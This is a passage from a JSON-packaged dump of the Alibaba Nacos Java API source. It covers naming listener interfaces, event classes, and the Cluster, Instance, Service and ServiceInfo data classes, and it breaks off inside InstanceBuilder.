serviceName;\n    }\n    \n    public String getGroupName() {\n        return groupName;\n    }\n    \n    public String getNamespace() {\n        return namespace;\n    }\n    \n    /**\n     * The change type of local watcher , contains {\"ADD_SERVICE\", \"DELETE_SERVICE\"}. see Constants.ServiceChangedType\n     */\n    public String getChangeType() {\n        return changeType;\n    }\n    \n    /**\n     * the sync type that trigger this changed,contains {\"FUZZY_WATCH_INIT_NOTIFY\",\"FUZZY_WATCH_RESOURCE_CHANGED\",\n     * \"FUZZY_WATCH_DIFF_SYNC_NOTIFY\"}.\n     *\n     * @return The sync type that triggered this change\n     */\n    public String getSyncType() {\n        return syncType;\n    }\n    \n    @Override\n    public String toString() {\n        return \"FuzzyWatchChangeEvent{\" + \"serviceName='\" + serviceName + '\\'' + \", groupName='\" + groupName + '\\''\n                + \", namespace='\" + namespace + '\\'' + \", changeType='\" + changeType + '\\'' + \", syncType='\" + syncType\n                + '\\'' + '}';\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/listener/FuzzyWatchEventWatcher.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.listener;\n\nimport java.util.concurrent.Executor;\n\n/**\n * Abstract fuzzy watch event listener, to support handle event by user custom executor.\n *\n * @author tanyongquan\n */\npublic interface FuzzyWatchEventWatcher {\n    \n    /**\n     * executor to notify event, using nacos internal notifier if null  .\n     * @return The executor for event notification\n     */\n    Executor getExecutor();\n    \n    /**\n     * handle FuzzyWatchChangeEvent.\n     * @param event fuzzy watch change event.\n     */\n    void onEvent(FuzzyWatchChangeEvent event);\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/listener/FuzzyWatchLoadWatcher.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.listener;\n\n/**\n * naming fuzzy watch watcher that triggered when  loader over limit.\n * @author shiyiyue\n */\npublic interface FuzzyWatchLoadWatcher {\n    \n    /**\n     * triggered when server pattern count over limit.\n     */\n    void onPatternOverLimit();\n    \n    /**\n     *  triggered when pattern match service count over limit.\n     */\n    void onServiceReachUpLimit();\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/listener/NamingEvent.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.listener;\n\nimport com.alibaba.nacos.api.naming.pojo.Instance;\n\nimport java.util.List;\n\n/**\n * Naming Event.\n *\n * @author nkorange\n */\npublic class NamingEvent implements Event {\n    \n    private String serviceName;\n    \n    private String groupName;\n    \n    private String clusters;\n    \n    private List<Instance> instances;\n    \n    public NamingEvent(String serviceName, List<Instance> instances) {\n        this.serviceName = serviceName;\n        this.instances = instances;\n    }\n    \n    public NamingEvent(String serviceName, String groupName, String clusters, List<Instance> instances) {\n        this.serviceName = serviceName;\n        this.groupName = groupName;\n        this.clusters = clusters;\n        this.instances = instances;\n    }\n    \n    public String getServiceName() {\n        return serviceName;\n    }\n    \n    public void setServiceName(String serviceName) {\n        this.serviceName = serviceName;\n    }\n    \n    public List<Instance> getInstances() {\n        return instances;\n    }\n    \n    public void setInstances(List<Instance> instances) {\n        this.instances = instances;\n    }\n    \n    public String getGroupName() {\n        return groupName;\n    }\n    \n    public void setGroupName(String groupName) {\n        this.groupName = groupName;\n    }\n    \n    public String getClusters() {\n        return clusters;\n    }\n    \n    public void setClusters(String clusters) {\n        this.clusters = clusters;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/pojo/Cluster.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo;\n\nimport com.alibaba.nacos.api.naming.pojo.healthcheck.AbstractHealthChecker;\nimport com.alibaba.nacos.api.naming.pojo.healthcheck.impl.Tcp;\n\nimport java.io.Serializable;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * Cluster.\n *\n * <p>The class will be serialized to json, and there are some variables and method can't use Camel naming rule for\n * compatibility\n *\n * @author nkorange\n */\n@SuppressWarnings(\"checkstyle:abbreviationaswordinname\")\npublic class Cluster implements Serializable {\n    \n    private static final long serialVersionUID = -7196138840047197271L;\n    \n    /**\n     * Name of belonging service.\n     */\n    private String serviceName;\n    \n    /**\n     * Name of cluster.\n     */\n    private String name;\n    \n    /**\n     * Health check config of this cluster.\n     */\n    private AbstractHealthChecker healthChecker = new Tcp();\n    \n    /**\n     * Default registered port for instances in this cluster.\n     */\n    private int defaultPort = 80;\n    \n    /**\n     * Default health check port of instances in this cluster.\n     */\n    private int defaultCheckPort = 80;\n    \n    /**\n     * Whether or not use instance port to do health check.\n     */\n    private boolean useIpPort4Check = true;\n    \n    private Map<String, String> metadata = new HashMap<>();\n    \n    public Cluster() {\n    \n    }\n    \n    public Cluster(String clusterName) {\n        this.name = clusterName;\n    }\n    \n    public String getServiceName() {\n        return serviceName;\n    }\n    \n    public void setServiceName(String serviceName) {\n        this.serviceName = serviceName;\n    }\n    \n    public String getName() {\n        return name;\n    }\n    \n    public void setName(String name) {\n        this.name = name;\n    }\n    \n    public AbstractHealthChecker getHealthChecker() {\n        return healthChecker;\n    }\n    \n    public void setHealthChecker(AbstractHealthChecker healthChecker) {\n        this.healthChecker = healthChecker;\n    }\n    \n    public int getDefaultPort() {\n        return defaultPort;\n    }\n    \n    public void setDefaultPort(int defaultPort) {\n        this.defaultPort = defaultPort;\n    }\n    \n    public int getDefaultCheckPort() {\n        return defaultCheckPort;\n    }\n    \n    public void setDefaultCheckPort(int defaultCheckPort) {\n        this.defaultCheckPort = defaultCheckPort;\n    }\n    \n    public boolean isUseIpPort4Check() {\n        return useIpPort4Check;\n    }\n    \n    public void setUseIpPort4Check(boolean useIpPort4Check) {\n        this.useIpPort4Check = useIpPort4Check;\n    }\n    \n    public Map<String, String> getMetadata() {\n        return metadata;\n    }\n    \n    public void setMetadata(Map<String, String> metadata) {\n        this.metadata = metadata;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/pojo/Instance.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.NacosForm;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.naming.PreservedMetadataKeys;\nimport com.alibaba.nacos.api.naming.utils.NamingUtils;\nimport com.alibaba.nacos.api.utils.StringUtils;\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.annotation.JsonInclude.Include;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Objects;\n\n/**\n * Instance.\n *\n * @author nkorange\n */\n@JsonInclude(Include.NON_NULL)\npublic class Instance implements NacosForm {\n    \n    private static final long serialVersionUID = -742906310567291979L;\n    \n    private static final int MAX_PORT = 65535;\n    \n    /**\n     * unique id of this instance.\n     */\n    private String instanceId;\n    \n    /**\n     * instance ip.\n     */\n    private String ip;\n    \n    /**\n     * instance port.\n     */\n    private int port;\n    \n    /**\n     * instance weight.\n     */\n    private double weight = 1.0D;\n    \n    /**\n     * instance health status.\n     */\n    private boolean healthy = true;\n    \n    /**\n     * If instance is enabled to accept request.\n     */\n    private boolean enabled = true;\n    \n    /**\n     * If instance is ephemeral.\n     *\n     * @since 1.0.0\n     */\n    private boolean ephemeral = true;\n    \n    /**\n     * cluster information of instance.\n     */\n    private String clusterName;\n    \n    /**\n     * Service information of instance.\n     */\n    private String serviceName;\n    \n    /**\n     * user extended attributes.\n     */\n    private Map<String, String> metadata = new HashMap<>();\n    \n    public String getInstanceId() {\n        return this.instanceId;\n    }\n    \n    public void setInstanceId(final String instanceId) {\n        this.instanceId = instanceId;\n    }\n    \n    public String getIp() {\n        return this.ip;\n    }\n    \n    public void setIp(final String ip) {\n        this.ip = ip;\n    }\n    \n    public int getPort() {\n        return this.port;\n    }\n    \n    public void setPort(final int port) {\n        this.port = port;\n    }\n    \n    public double getWeight() {\n        return this.weight;\n    }\n    \n    public void setWeight(final double weight) {\n        this.weight = weight;\n    }\n    \n    public boolean isHealthy() {\n        return this.healthy;\n    }\n    \n    public void setHealthy(final boolean healthy) {\n        this.healthy = healthy;\n    }\n    \n    public String getClusterName() {\n        return this.clusterName;\n    }\n    \n    public void setClusterName(final String clusterName) {\n        this.clusterName = clusterName;\n    }\n    \n    public String getServiceName() {\n        return this.serviceName;\n    }\n    \n    public void setServiceName(final String serviceName) {\n        this.serviceName = serviceName;\n    }\n    \n    public Map<String, String> getMetadata() {\n        return this.metadata;\n    }\n    \n    public void setMetadata(final Map<String, String> metadata) {\n        this.metadata = metadata;\n    }\n    \n    /**\n     * add meta data.\n     *\n     * @param key   meta data key\n     * @param value meta data value\n     */\n    public void addMetadata(final String key, final String value) {\n        if (metadata == null) {\n            metadata = new HashMap<>(4);\n        }\n        metadata.put(key, value);\n    }\n    \n    public boolean isEnabled() {\n        return this.enabled;\n    }\n    \n    public void setEnabled(final boolean enabled) {\n        this.enabled = enabled;\n    }\n    \n    public boolean isEphemeral() {\n        return this.ephemeral;\n    }\n    \n    public void setEphemeral(final boolean ephemeral) {\n        this.ephemeral = ephemeral;\n    }\n    \n    @Override\n    public void validate() throws NacosApiException {\n        fillDefaultValue();\n        if (StringUtils.isBlank(ip)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter 'ip' type String is not present\");\n        }\n        if (port < 0 || port > MAX_PORT) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_VALIDATE_ERROR,\n                    \"Required parameter 'port' type int is require 0 ~ 65535\");\n        }\n    }\n    \n    private void fillDefaultValue() {\n        if (StringUtils.isBlank(clusterName)) {\n            clusterName = Constants.DEFAULT_CLUSTER_NAME;\n        }\n    }\n    \n    @Override\n    public String toString() {\n        return \"Instance{\" + \"instanceId='\" + instanceId + '\\'' + \", ip='\" + ip + '\\'' + \", port=\" + port + \", weight=\"\n                + weight + \", healthy=\" + healthy + \", enabled=\" + enabled + \", ephemeral=\" + ephemeral\n                + \", clusterName='\" + clusterName + '\\'' + \", serviceName='\" + serviceName + '\\'' + \", metadata=\"\n                + metadata + '}';\n    }\n    \n    public String toInetAddr() {\n        return ip + \":\" + port;\n    }\n    \n    @Override\n    public boolean equals(final Object obj) {\n        if (!(obj instanceof Instance)) {\n            return false;\n        }\n        \n        final Instance host = (Instance) obj;\n        return Instance.strEquals(host.toString(), toString());\n    }\n    \n    @Override\n    public int hashCode() {\n        return toString().hashCode();\n    }\n    \n    private static boolean strEquals(final String str1, final String str2) {\n        return Objects.equals(str1, str2);\n    }\n    \n    public long getInstanceHeartBeatInterval() {\n        return getMetaDataByKeyWithDefault(PreservedMetadataKeys.HEART_BEAT_INTERVAL,\n                Constants.DEFAULT_HEART_BEAT_INTERVAL);\n    }\n    \n    public long getInstanceHeartBeatTimeOut() {\n        return getMetaDataByKeyWithDefault(PreservedMetadataKeys.HEART_BEAT_TIMEOUT,\n                Constants.DEFAULT_HEART_BEAT_TIMEOUT);\n    }\n    \n    public long getIpDeleteTimeout() {\n        return getMetaDataByKeyWithDefault(PreservedMetadataKeys.IP_DELETE_TIMEOUT,\n                Constants.DEFAULT_IP_DELETE_TIMEOUT);\n    }\n    \n    public String getInstanceIdGenerator() {\n        return getMetaDataByKeyWithDefault(PreservedMetadataKeys.INSTANCE_ID_GENERATOR,\n                Constants.DEFAULT_INSTANCE_ID_GENERATOR);\n    }\n    \n    /**\n     * Returns {@code true} if this metadata contains the specified key.\n     *\n     * @param key metadata key\n     * @return {@code true} if this metadata contains the specified key\n     */\n    public boolean containsMetadata(final String key) {\n        if (getMetadata() == null || getMetadata().isEmpty()) {\n            return false;\n        }\n        return getMetadata().containsKey(key);\n    }\n    \n    private long getMetaDataByKeyWithDefault(final String key, final long defaultValue) {\n        if (getMetadata() == null || getMetadata().isEmpty()) {\n            return defaultValue;\n        }\n        final String value = getMetadata().get(key);\n        if (NamingUtils.isNumber(value)) {\n            return Long.parseLong(value);\n        }\n        return defaultValue;\n    }\n    \n    private String getMetaDataByKeyWithDefault(final String key, final String defaultValue) {\n        if (getMetadata() == null || getMetadata().isEmpty()) {\n            return defaultValue;\n        }\n        return getMetadata().get(key);\n    }\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/pojo/ListView.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo;\n\nimport java.util.List;\n\n/**\n * ListView.\n *\n * @author nkorange\n */\npublic class ListView<T> {\n    \n    private List<T> data;\n    \n    private int count;\n    \n    public List<T> getData() {\n        return data;\n    }\n    \n    public void setData(List<T> data) {\n        this.data = data;\n    }\n    \n    public int getCount() {\n        return count;\n    }\n    \n    public void setCount(int count) {\n        this.count = count;\n    }\n    \n    @Override\n    public String toString() {\n        return \"ListView{\" + \"data=\" + data + \", count=\" + count + '}';\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/pojo/Service.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.NacosForm;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.selector.NoneSelector;\nimport com.alibaba.nacos.api.selector.Selector;\nimport com.alibaba.nacos.api.utils.StringUtils;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * Service of Nacos.\n *\n * <p>We introduce a 'service --> cluster --> instance' model, in which service stores a list of clusters, which contains a\n * list of instances.\n *\n * <p>Typically we put some unique properties between instances to service level.\n *\n * @author nkorange\n */\npublic class Service implements NacosForm {\n    \n    private static final long serialVersionUID = -3470985546826874460L;\n    \n    private String namespaceId;\n    \n    private String groupName;\n    \n    private String name;\n    \n    private boolean ephemeral;\n    \n    private float protectThreshold = 0.0F;\n    \n    private Map<String, String> metadata = new HashMap<>();\n    \n    private Selector selector = new NoneSelector();\n    \n    public String getNamespaceId() {\n        return namespaceId;\n    }\n    \n    public void setNamespaceId(String namespaceId) {\n        this.namespaceId = namespaceId;\n    }\n    \n    public String getGroupName() {\n        return groupName;\n    }\n    \n    public void setGroupName(String groupName) {\n        this.groupName = groupName;\n    }\n    \n    public String getName() {\n        return name;\n    }\n    \n    public void setName(String name) {\n        this.name = name;\n    }\n    \n    public boolean isEphemeral() {\n        return ephemeral;\n    }\n    \n    public void setEphemeral(boolean ephemeral) {\n        this.ephemeral = ephemeral;\n    }\n    \n    public float getProtectThreshold() {\n        return protectThreshold;\n    }\n    \n    public void setProtectThreshold(float protectThreshold) {\n        this.protectThreshold = protectThreshold;\n    }\n    \n    public Map<String, String> getMetadata() {\n        return metadata;\n    }\n    \n    public void setMetadata(Map<String, String> metadata) {\n        this.metadata = metadata;\n    }\n    \n    public void addMetadata(String key, String value) {\n        this.metadata.put(key, value);\n    }\n    \n    public Selector getSelector() {\n        return selector;\n    }\n    \n    public void setSelector(Selector selector) {\n        this.selector = selector;\n    }\n    \n    @Override\n    public void validate() throws NacosApiException {\n        fillDefaultValue();\n        if (StringUtils.isBlank(name)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter 'name' type String is not present\");\n        }\n    }\n    \n    /**\n     * fill default value.\n     */\n    public void fillDefaultValue() {\n        if (StringUtils.isBlank(namespaceId)) {\n            namespaceId = Constants.DEFAULT_NAMESPACE_ID;\n        }\n        if (StringUtils.isBlank(groupName)) {\n            groupName = Constants.DEFAULT_GROUP;\n        }\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/pojo/ServiceInfo.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.fasterxml.jackson.annotation.JsonIgnore;\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.annotation.JsonInclude.Include;\n\nimport java.io.UnsupportedEncodingException;\nimport java.net.URLEncoder;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * Service Information with instances and without cluster information, used in data pushing and cached for nacos-client.\n *\n * @author nkorange\n * @author shizhengxing\n */\n@JsonInclude(Include.NON_NULL)\npublic class ServiceInfo implements Cloneable {\n    \n    /**\n     * file name pattern: groupName@@name@@clusters.\n     */\n    private static final int GROUP_POSITION = 0;\n    \n    private static final int SERVICE_POSITION = 1;\n    \n    private static final int CLUSTER_POSITION = 2;\n    \n    private static final int FILE_NAME_PARTS = 3;\n    \n    @JsonIgnore\n    private String jsonFromServer = EMPTY;\n    \n    private static final String EMPTY = \"\";\n    \n    private static final String DEFAULT_CHARSET = \"UTF-8\";\n    \n    private String name;\n    \n    private String groupName;\n    \n    private String clusters;\n    \n    private long cacheMillis = 1000L;\n    \n    private List<Instance> hosts = new ArrayList<>();\n    \n    private long lastRefTime = 0L;\n    \n    private String checksum = \"\";\n    \n    private volatile boolean allIps = false;\n    \n    private volatile boolean reachProtectionThreshold = false;\n    \n    public ServiceInfo() {\n    }\n    \n    public boolean isAllIps() {\n        return allIps;\n    }\n    \n    public void setAllIps(boolean allIps) {\n        this.allIps = allIps;\n    }\n    \n    /**\n     * There is only one form of the key:groupName@@name@@clusters. This constructor used by DiskCache.read(String) and\n     * FailoverReactor.FailoverFileReader,you should know that 'groupName' must not be null,and 'clusters' can be null.\n     */\n    public ServiceInfo(final String key) {\n        String[] keys = key.split(Constants.SERVICE_INFO_SPLITER);\n        if (keys.length >= FILE_NAME_PARTS) {\n            this.groupName = keys[GROUP_POSITION];\n            this.name = keys[SERVICE_POSITION];\n            this.clusters = keys[CLUSTER_POSITION];\n        } else if (keys.length == CLUSTER_POSITION) {\n            this.groupName = keys[GROUP_POSITION];\n            this.name = keys[SERVICE_POSITION];\n        } else {\n            //defensive programming\n            throw new IllegalArgumentException(\"Can't parse out 'groupName',but it must not be null!\");\n        }\n    }\n    \n    public ServiceInfo(String name, String clusters) {\n        this.name = name;\n        this.clusters = clusters;\n    }\n    \n    public int ipCount() {\n        return hosts.size();\n    }\n    \n    public boolean expired() {\n        return System.currentTimeMillis() - lastRefTime > cacheMillis;\n    }\n    \n    public void setHosts(List<Instance> hosts) {\n        this.hosts = hosts;\n    }\n    \n    public void addHost(Instance host) {\n        hosts.add(host);\n    }\n    \n    public void addAllHosts(List<? extends Instance> hosts) {\n        this.hosts.addAll(hosts);\n    }\n    \n    public List<Instance> getHosts() {\n        return new ArrayList<>(hosts);\n    }\n    \n    public boolean isValid() {\n        return hosts != null;\n    }\n    \n    public String getName() {\n        return name;\n    }\n    \n    public void setName(String name) {\n        this.name = name;\n    }\n    \n    public String getGroupName() {\n        return groupName;\n    }\n    \n    public void setGroupName(String groupName) {\n        this.groupName = groupName;\n    }\n    \n    public void setLastRefTime(long lastRefTime) {\n        this.lastRefTime = lastRefTime;\n    }\n    \n    public long getLastRefTime() {\n        return lastRefTime;\n    }\n    \n    public String getClusters() {\n        return clusters;\n    }\n    \n    public void setClusters(String clusters) {\n        this.clusters = clusters;\n    }\n    \n    public long getCacheMillis() {\n        return cacheMillis;\n    }\n    \n    public void setCacheMillis(long cacheMillis) {\n        this.cacheMillis = cacheMillis;\n    }\n    \n    /**\n     * Judge whether service info is validate.\n     *\n     * @return true if validate, otherwise false\n     */\n    public boolean validate() {\n        if (isAllIps()) {\n            return true;\n        }\n        \n        if (hosts == null) {\n            return false;\n        }\n        \n        boolean existValidHosts = false;\n        for (Instance host : hosts) {\n            if (host.isHealthy() && host.getWeight() > 0) {\n                existValidHosts = true;\n                break;\n            }\n        }\n        return existValidHosts;\n    }\n    \n    @JsonIgnore\n    public String getJsonFromServer() {\n        return jsonFromServer;\n    }\n    \n    public void setJsonFromServer(String jsonFromServer) {\n        this.jsonFromServer = jsonFromServer;\n    }\n    \n    @JsonIgnore\n    public String getKey() {\n        String serviceName = getGroupedServiceName();\n        return getKey(serviceName, clusters);\n    }\n    \n    @JsonIgnore\n    public static String getKey(String name, String clusters) {\n        if (!isEmpty(clusters)) {\n            return name + Constants.SERVICE_INFO_SPLITER + clusters;\n        }\n        return name;\n    }\n\n    @JsonIgnore\n    public String getKeyWithoutClusters() {\n        return getGroupedServiceName();\n    }\n\n    @JsonIgnore\n    public String getKeyEncoded() {\n        String serviceName = getGroupedServiceName();\n        try {\n            serviceName = URLEncoder.encode(serviceName, DEFAULT_CHARSET);\n        } catch (UnsupportedEncodingException ignored) {\n        }\n        return getKey(serviceName, clusters);\n    }\n    \n    private String getGroupedServiceName() {\n        String serviceName = this.name;\n        if (!isEmpty(groupName) && !serviceName.contains(Constants.SERVICE_INFO_SPLITER)) {\n            serviceName = groupName + Constants.SERVICE_INFO_SPLITER + serviceName;\n        }\n        return serviceName;\n    }\n    \n    /**\n     * Get {@link ServiceInfo} from key.\n     *\n     * @param key key of service info\n     * @return new service info\n     */\n    public static ServiceInfo fromKey(final String key) {\n        return new ServiceInfo(key);\n    }\n    \n    @Override\n    public String toString() {\n        return getKey();\n    }\n    \n    public String getChecksum() {\n        return checksum;\n    }\n    \n    public void setChecksum(String checksum) {\n        this.checksum = checksum;\n    }\n    \n    private static boolean isEmpty(String str) {\n        return str == null || str.length() == 0;\n    }\n    \n    public boolean isReachProtectionThreshold() {\n        return reachProtectionThreshold;\n    }\n    \n    public void setReachProtectionThreshold(boolean reachProtectionThreshold) {\n        this.reachProtectionThreshold = reachProtectionThreshold;\n    }\n    \n    @Override\n    public ServiceInfo clone() {\n        ServiceInfo cloned = new ServiceInfo();\n        cloned.jsonFromServer = this.jsonFromServer;\n        cloned.name = this.name;\n        cloned.groupName = this.groupName;\n        cloned.clusters = this.clusters;\n        cloned.cacheMillis = this.cacheMillis;\n        cloned.lastRefTime = this.lastRefTime;\n        cloned.checksum = this.checksum;\n        cloned.allIps = this.allIps;\n        cloned.reachProtectionThreshold = this.reachProtectionThreshold;\n        cloned.hosts = new ArrayList<>();\n        \n        if (this.hosts != null) {\n            for (Instance host : this.hosts) {\n                Instance clonedHost = new Instance();\n                clonedHost.setInstanceId(host.getInstanceId());\n                clonedHost.setIp(host.getIp());\n                clonedHost.setPort(host.getPort());\n                clonedHost.setWeight(host.getWeight());\n                clonedHost.setHealthy(host.isHealthy());\n                clonedHost.setEnabled(host.isEnabled());\n                clonedHost.setEphemeral(host.isEphemeral());\n                clonedHost.setClusterName(host.getClusterName());\n                clonedHost.setServiceName(host.getServiceName());\n                \n                if (host.getMetadata() != null) {\n                    Map<String, String> clonedMetadata = new HashMap<>(host.getMetadata());\n                    clonedHost.setMetadata(clonedMetadata);\n                }\n                \n                cloned.hosts.add(clonedHost);\n            }\n        }\n        \n        return cloned;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/naming/pojo/builder/InstanceBuilder.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.pojo.builder;\n\nimport com.alibaba.nacos.api.naming.pojo.Instance;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Objects;\n\n/**\n * Builder for {@link Instance}.\n *\n * @author xiweng.yy\n */\npublic class InstanceBuilder {\n    \n    private String instanceId;\n    \n    private String ip;\n    \n    private Integer port;\n    \n    private Double weight;\n    \n    private Boolean healthy;\n    \n    private Boolean enabled;\n    \n    private Boolean ephemeral;\n    \n    private String clusterName;\n    \n    private String serviceName;\n    \n    private Map<String, String> metadata = new HashMap<>();\n    \n    private InstanceBuilder() {\n    }\n    \n    public InstanceBuilder setInstanceId(String instanceId) {\n        this.instanceId = instanceId;\n        return this;\n    }\n    \n    public InstanceBuilder setIp(String ip) {\n        this.ip = ip;\n        return this;\n    }\n    \n    public InstanceBuilder setPort(Integer port) {\n        this.port = port;\n        return this;\n    }\n    \n    public InstanceBuilder setWeight(Double weight) {\n        this.weight = weight;\n        return this;\n    }\n    \n    public InstanceBuilder setHealthy(Boolean healthy) {\n        this.healthy = healthy;\n        return this;\n    }\n    \n    public InstanceBuilder setEnabled(Boolean enabled) {\n        this.enabled = enabled;\n        return this;\n    }\n    \n    public InstanceBuilder setEphemeral(Boolean ephemeral) {\n        this.ephemeral = ephemeral;\n        return this;\n    }\n    \n    public InstanceBuilder setClusterName(String clusterName) {\n        this.clusterName = clusterName;\n        return this;\n    }\n    \n    public InstanceBuilder setServiceName(String serviceName) {\n        this.serviceName = serviceName;\n        return this;\n    }\n    \n    public InstanceBuilder setMetadata(Map<String, String> metadata) {\n        this.metadata = metadata;\n        return this;\n    }\n    \n    public InstanceBuilder addMetadata(String metaKey, String metaValue) {\n        this.metadata.put(metaKey, metaValue);\n        return this;\n    }\n    \n    /**\n     * Build a new {@link Instance}.\n     *\n     * @return new instance\n     */\n    public Instance build() {\n        Instance result = new Instance();\n        if (!Objects.isNull(instanceId)) {\n            result.setInstanceId(instanceId);\n        }\n        if (!Objects.isNull(ip)) {\n            result.setIp(ip);\n        }\n        if (!Objects.isNull(port)) {\n            result.setPort(port);\n        }\n        if (!Objects.isNull(weight)) {\n            result.setWeight(weight);\n        }\n        if (!Objects.isNull(healthy)) {\n            